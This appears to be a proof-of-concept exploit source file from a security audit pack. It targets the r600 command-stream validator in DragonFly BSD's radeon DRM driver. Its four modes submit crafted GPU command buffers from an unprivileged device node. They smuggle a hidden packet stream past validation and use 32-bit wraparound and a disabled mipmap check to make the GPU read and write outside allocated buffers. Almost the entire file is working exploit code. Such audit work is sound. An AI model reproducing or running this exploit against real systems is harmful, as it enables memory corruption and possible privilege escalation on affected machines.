DF-4029 / r600_cs_poc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 | /* * r600_cs_poc.c โ pass-2 PoC trigger for the DragonFly r600 CS validator * findings DF-4028 / DF-4029 / DF-4030 / DF-4031 / DF-4032. * * Self-contained: raw ioctl(2) only, no libdrm. Builds on any BSD/Linux. * * Modes: * ib0 DF-4028: CB never programmed via CB_COLORn_SIZE -> * r600_cs_track_validate_cb() writes its computed size dword to * IB index 0 (default cb_color_size_idx==0), clobbering the first * packet header AFTER validation -> GPU re-walks the IB from * ib[0]=0 as a type0/count0 packet and executes the "hidden" * stream stored in the first packet's payload (here: SET_ALU_CONST * values, which the validator never inspects as packets). * resource DF-4029/4030: PACKET3_SET_RESOURCE with 6 SQ_TEX_VTX_VALID_BUFFER * resources. Reads use (i*7), writes use (i*8) -> validated * base/size pairing desync; also demonstrates the u32 * (size+offset) wraparound bound-check bypass (offset=0xFFFFFF00, * size=0x100 -> sum wraps to 0x0). * strmout DF-4031: VGT_STRMOUT_BUFFER_SIZE_0 = 0x40000000 (DWs). * track->vgt_strmout_size = raw*4 wraps u32 to 0 -> kernel * validates offset 0 <= bo_size, GPU bound register = 4 GiB. * texmip DF-4032: SQ_TEX_VTX_VALID_TEXTURE with llevel=9 on a 256-byte * "mipmap" BO; r600_check_texture_resource()'s mipmap bounds * check is commented out -> submission accepted, GPU texture * walks ~340 KB past the mipmap BO. * * EXPECTED on hardware (r600/rv770 KMS, unprivileged render node / card0): * - ioctl returns 0 for every mode (validator accepts); * - for ib0: hidden-stream packets execute on the GPU (validator bypass); * - for resource/strmout/texmip: GPU fetch/write past the reloc'd BO. * * OBSERVED on the audit QEMU guest: open("/dev/dri/card0") fails with * ENOENT โ no radeon GPU is present; run-time trigger not testable here. * See VERDICT.md / verdict.json in this pack. * * Usage: ./r600_cs_poc <ib0|resource|strmout|texmip> */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <sys/ioctl.h> /* ------------------------------------------------------------------ */ /* DRM/radeon ABI (uapi headers, DragonFly radeon driver) */ #define DRM_IOCTL_BASE 'd' struct drm_radeon_gem_create { /* DRM_IOCTL_RADEON_GEM_CREATE, nr 0x1d */ uint64_t size; uint64_t alignment; uint32_t handle; uint32_t initial_domain; uint32_t flags; }; struct drm_radeon_cs_chunk { /* RADEON_CHUNK_ID_{RELOCS,IB,FLAGS} */ uint32_t chunk_id; uint32_t length_dw; uint64_t chunk_data; }; struct drm_radeon_cs { /* DRM_IOCTL_RADEON_CS, nr 0x26 */ uint32_t num_chunks; uint32_t cs_id; uint64_t chunks; /* __u64 * -> drm_radeon_cs_chunk */ uint64_t gart_limit; uint64_t vram_limit; }; #define RADEON_GEM_DOMAIN_GTT 0x2 #define RADEON_GEM_DOMAIN_VRAM 0x4 #define RADEON_CHUNK_ID_RELOCS 0x01 #define RADEON_CHUNK_ID_IB 0x02 #define RADEON_CHUNK_ID_FLAGS 0x03 /* r600d.h packet / register constants used below */ #define PKT3(op, cnt) (0xC0000000u | (((cnt) & 0x3FFF) << 16) | ((op) & 0xFF)) #define PKT2 0x80000000u #define P3_NOP 0x10 #define P3_DRAW_INDEX_AUTO 0x2D #define P3_SET_ALU_CONST 0x6A #define P3_SET_CONTEXT_REG 0x69 #define P3_SET_RESOURCE 0x6D #define REG_DB_DEPTH_CONTROL 0x28800 #define REG_CB_TARGET_MASK 0x28238 #define REG_CB_COLOR0_INFO 0x280A0 #define REG_CB_COLOR0_BASE 0x28040 #define REG_VGT_STRMOUT_EN 0x28AB0 #define REG_VGT_STRMOUT_BUFFER_EN 0x28B20 #define REG_VGT_STRMOUT_BUFFER_SIZE_0 0x28AD0 #define REG_VGT_STRMOUT_BUFFER_BASE_0 0x28AD8 #define CTX_OFF(reg) (((reg) - 0x28000) / 4) #define VTX_VALID_BUFFER 0x3 /* word6 bits[31:30] */ #define VTX_VALID_TEXTURE 0x2 static int fd = -1; static uint32_t gem_create(uint64_t size) { struct drm_radeon_gem_create gc; memset(&gc, 0, sizeof(gc)); gc.size = size; gc.alignment = 4096; gc.initial_domain = RADEON_GEM_DOMAIN_VRAM | RADEON_GEM_DOMAIN_GTT; if (ioctl(fd, _IOWR(0x40 + 0x1d, 0, struct drm_radeon_gem_create), &gc)) { perror("GEM_CREATE"); exit(1); } return gc.handle; } /* * submit_cs: build chunks and issue DRM_IOCTL_RADEON_CS. * relocs: 4-dword entries {handle, read_domain, write_domain, flags}. */ static int submit_cs(uint32_t *ib, uint32_t ib_dw, uint32_t *relocs, uint32_t reloc_dw) { struct drm_radeon_cs_chunk chunks[3]; uint64_t chunk_ptrs[3]; struct drm_radeon_cs cs; uint32_t flags[3]; flags[0] = 0; /* no KEEP_TILING, no VM */ flags[1] = 0; /* GFX ring */ flags[2] = 0; /* priority */ chunks[0].chunk_id = RADEON_CHUNK_ID_IB; chunks[0].length_dw = ib_dw; chunks[0].chunk_data = (uint64_t)(uintptr_t)ib; chunks[1].chunk_id = RADEON_CHUNK_ID_RELOCS; chunks[1].length_dw = reloc_dw; chunks[1].chunk_data = (uint64_t)(uintptr_t)relocs; chunks[2].chunk_id = RADEON_CHUNK_ID_FLAGS; chunks[2].length_dw = 3; chunks[2].chunk_data = (uint64_t)(uintptr_t)flags; chunk_ptrs[0] = (uint64_t)(uintptr_t)&chunks[0]; chunk_ptrs[1] = (uint64_t)(uintptr_t)&chunks[1]; chunk_ptrs[2] = (uint64_t)(uintptr_t)&chunks[2]; memset(&cs, 0, sizeof(cs)); cs.num_chunks = 3; cs.chunks = (uint64_t)(uintptr_t)chunk_ptrs; return ioctl(fd, _IOWR(0x40 + 0x26, 0, struct drm_radeon_cs), &cs); } static void add_reloc(uint32_t *r, int *n, uint32_t handle) { r[(*n) * 4 + 0] = handle; r[(*n) * 4 + 1] = RADEON_GEM_DOMAIN_VRAM | RADEON_GEM_DOMAIN_GTT; /* read */ r[(*n) * 4 + 2] = RADEON_GEM_DOMAIN_VRAM | RADEON_GEM_DOMAIN_GTT; /* write */ r[(*n) * 4 + 3] = 0; (*n)++; } int main(int argc, char **argv) { const char *mode = argc > 1 ? argv[1] : "ib0"; uint32_t ib[8192], relocs[8192]; uint32_t i = 0; int nrel = 0; uint32_t bo; fd = open("/dev/dri/card0", O_RDWR); if (fd < 0) { fprintf(stderr, "open(/dev/dri/card0): %s โ no radeon DRM device " "on this machine; trigger is hardware-gated.\n", strerror(errno)); return 2; } if (!strcmp(mode, "ib0")) { uint32_t hidden = 0; /* * [0] P3 SET_ALU_CONST count=64: payload values are never * validated as packets. After the kernel clobbers ib[0] * with 0 (type0/count0 -> consumes ib[0],ib[1]) the GPU * re-starts executing AT ib[2] โ the "hidden" stream: * here one SET_CONTEXT_REG to SQ_PGM_START_PS (a * reloc-consuming register the validator would have * rejected without a trailing NOP) + NOP padding. */ ib[i++] = PKT3(P3_SET_ALU_CONST, 64); ib[i++] = 0; /* ALU const offset 0 */ ib[i++] = PKT3(P3_SET_CONTEXT_REG, 0); /* hidden pkt #1 header */ ib[i++] = CTX_OFF(0x288CC); /* SQ_PGM_START_PS โ no reloc! */ hidden = i; /* ib[2..] == hidden stream */ while (i < 2 + 66) /* pad payload with type2 NOPs */ ib[i++] = PKT2; (void)hidden; /* * Real (validated) setup: * DB_DEPTH_CONTROL = 0 (disable Z so validate_db is skipped) * CB_COLOR0_INFO = COLOR_8, ARRAY_LINEAR_GENERAL, TILE_DISABLE * CB_TARGET_MASK = 0xF (target 0 enabled) * CB_COLOR0_BASE = 0 + reloc (NOTE: no CB_COLOR0_SIZE!) */ ib[i++] = PKT3(P3_SET_CONTEXT_REG, 0); ib[i++] = CTX_OFF(REG_DB_DEPTH_CONTROL); ib[i++] = 0; ib[i++] = PKT3(P3_SET_CONTEXT_REG, 0); ib[i++] = CTX_OFF(REG_CB_COLOR0_INFO); ib[i++] = (1 << 2) | (0 << 8) | (0 << 14); /* fmt COLOR_8 */ ib[i++] = PKT3(P3_SET_CONTEXT_REG, 0); ib[i++] = CTX_OFF(REG_CB_TARGET_MASK); ib[i++] = 0xF; bo = gem_create(4096); ib[i++] = PKT3(P3_SET_CONTEXT_REG, 0); ib[i++] = CTX_OFF(REG_CB_COLOR0_BASE); ib[i++] = 0; /* offset 0 */ ib[i++] = PKT3(P3_NOP, 0); /* reloc NOP for CB_COLOR0_BASE */ ib[i++] = nrel; /* reloc index 0 */ add_reloc(relocs, &nrel, bo); ib[i++] = PKT3(P3_DRAW_INDEX_AUTO, 1); ib[i++] = 1; /* 1 instance */ printf("ib0: CB_COLOR0_SIZE never written -> cb_color_size_idx[0]" "==0 -> ib[0] := 0 after validation (ib[0] was 0x%08x)\n", ib[0]); } else if (!strcmp(mode, "resource")) { uint32_t tiny, huge; int k = 6; tiny = gem_create(4096); /* 4 KiB BO */ huge = gem_create(64 * 1024 * 1024); /* 64 MiB BO */ /* * SET_RESOURCE, 6 buffer resources (count = 7*6 = 42). * slot i: word0 = offset (u32), word1 = size-1, word6 = type 3. * Reads at idx+1+(i*7)+n, writes at idx+1+(i*8)+{0,2}. */ ib[i++] = PKT3(P3_SET_RESOURCE, 42); ib[i++] = 0; /* resource offset 0 -> 0x38000 */ for (int s = 0; s < k; s++) { uint32_t off = (s == 5) ? 0xFFFFFF00u : 0; /* DF-4030 wrap */ uint32_t sz1 = (s == 5) ? 0xFFu : 0x3FFu; /* size-1 */ ib[i++] = off; /* word0 base offset */ ib[i++] = sz1; /* word1 size - 1 */ ib[i++] = 0; ib[i++] = 0; ib[i++] = 0; ib[i++] = 0; ib[i++] = VTX_VALID_BUFFER << 30; /* word6 type */ add_reloc(relocs, &nrel, (s == 5) ? huge : tiny); } for (int s = 0; s < k; s++) { /* trailing reloc NOPs */ ib[i++] = PKT3(P3_NOP, 0); ib[i++] = s; } printf("resource: 6 VALID_BUFFER slots; slot5 offset=0xFFFFFF00 " "size=0x100 -> (size+offset) wraps u32 -> accepted; " "writes at (i*8) smear bases into later slots.\n"); } else if (!strcmp(mode, "strmout")) { bo = gem_create(4096); ib[i++] = PKT3(P3_SET_CONTEXT_REG, 0); ib[i++] = CTX_OFF(REG_DB_DEPTH_CONTROL); ib[i++] = 0; /* disable Z */ ib[i++] = PKT3(P3_SET_CONTEXT_REG, 0); ib[i++] = CTX_OFF(REG_VGT_STRMOUT_EN); ib[i++] = 1; ib[i++] = PKT3(P3_SET_CONTEXT_REG, 0); ib[i++] = CTX_OFF(REG_VGT_STRMOUT_BUFFER_EN); ib[i++] = 1; ib[i++] = PKT3(P3_SET_CONTEXT_REG, 0); ib[i++] = CTX_OFF(REG_VGT_STRMOUT_BUFFER_SIZE_0); ib[i++] = 0x40000000u; /* 2^30 DWs; *4 wraps to 0 */ ib[i++] = PKT3(P3_SET_CONTEXT_REG, 0); ib[i++] = CTX_OFF(REG_VGT_STRMOUT_BUFFER_BASE_0); ib[i++] = 0; ib[i++] = PKT3(P3_NOP, 0); ib[i++] = nrel; add_reloc(relocs, &nrel, bo); ib[i++] = PKT3(P3_DRAW_INDEX_AUTO, 1); ib[i++] = 1; printf("strmout: SIZE_0=0x40000000 DWs -> kernel tracks size 0, " "GPU bound register = 4 GiB.\n"); } else if (!strcmp(mode, "texmip")) { uint32_t tex, mip; tex = gem_create(1024 * 1024); /* 1 MiB texture BO */ mip = gem_create(256); /* 256-byte mipmap BO */ ib[i++] = PKT3(P3_SET_RESOURCE, 7); ib[i++] = 0; /* word0: DIM=1(2D), array linear general, width=512, pitch 8px */ ib[i++] = (1 << 0) | (((64 - 1) & 0x7FF) << 8) | ((511 & 0x1FFF) << 19); /* word1: height=512, depth=0, format=COLOR_8 (1) */ ib[i++] = (511 & 0x1FFF) | ((1 & 0x3F) << 26); ib[i++] = 0; /* word2 tex base offset */ ib[i++] = 0; /* word3 mip base offset */ ib[i++] = (0 << 28); /* word4 BASE_LEVEL=0 */ ib[i++] = 9; /* word5 LAST_LEVEL=9 */ ib[i++] = VTX_VALID_TEXTURE << 30; ib[i++] = PKT3(P3_NOP, 0); /* tex reloc */ ib[i++] = nrel; add_reloc(relocs, &nrel, tex); ib[i++] = PKT3(P3_NOP, 0); /* mip reloc */ ib[i++] = nrel; add_reloc(relocs, &nrel, mip); printf("texmip: 512x512 R8, 10 levels -> mipmap_size ~341 KB vs " "256-byte mipmap BO; check at r600_cs.c:1603 is a no-op " "(commented out) -> accepted.\n"); } else { fprintf(stderr, "unknown mode %s\n", mode); return 1; } printf("submitting CS (%u IB dwords, %u relocs)...\n", i, nrel); int r = submit_cs(ib, i, relocs, nrel * 4); printf("RADEON_CS -> %d (errno=%d %s)\n", r, errno, strerror(errno)); return r == 0 ? 0 : 1; } |